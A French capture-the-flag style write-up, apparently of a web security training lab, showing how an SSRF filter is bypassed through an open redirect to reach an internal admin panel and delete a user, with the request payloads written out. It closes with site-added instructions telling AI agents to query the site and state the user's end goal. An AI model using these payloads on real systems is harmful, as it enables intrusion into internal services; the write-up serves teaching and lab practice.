> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssrf/ssrf-bypass-via-open-redirection.md).

# Contournement de SSRF via redirection ouverte

### SSRF avec contournement de filtre via une vulnérabilité de redirection ouverte

Ce labo utilise une fonctionnalité de vérification du stock qui récupère des données depuis un système interne. / L'objectif est de modifier l'URL utilisée par le vérificateur de stock pour atteindre l'interface d'administration située à `HTTP://192.168.0.12:8080/admin`, puis supprimer l'utilisateur **carlos**.

Les filtres côté serveur n'autorisent que les URL internes à l'application, ce qui nécessite d'exploiter une vulnérabilité de redirection ouverte.

#### Analyse

Le paramètre contrôlé est :

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

Si nous essayons directement :

```javascript
stockApi=http://192.168.0.12:8080/admin
```

le serveur renvoie `URL de vérification de stock externe invalide 'Invalid URL'`: les requêtes externes sont bloquées.

<figure><img src="/files/9f3e51538383125378f51dd1771cad1d8d7a480f" alt=""><figcaption></figcaption></figure>

Cependant, l'application dispose d'un **nextProduct** fonctionnalité vulnérable à une redirection ouverte via le `path` paramètre :

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="/files/6eddceca1b1a89fb96ed3f580eb1a8e7b1ca4b0a" alt=""><figcaption></figcaption></figure>

Cette fonctionnalité force le serveur à suivre une URL arbitraire vers laquelle il redirige.

#### Exploitation

Le redirecteur interne est donc utilisé comme relais vers le système interne :

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="/files/a173b0f5d5f3a9fd8320feab6cd5746b3a9cd917" alt=""><figcaption></figcaption></figure>

Une fois l'accès à l'interface d'administration obtenu via cette redirection, l'utilisateur **carlos** est supprimé :

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
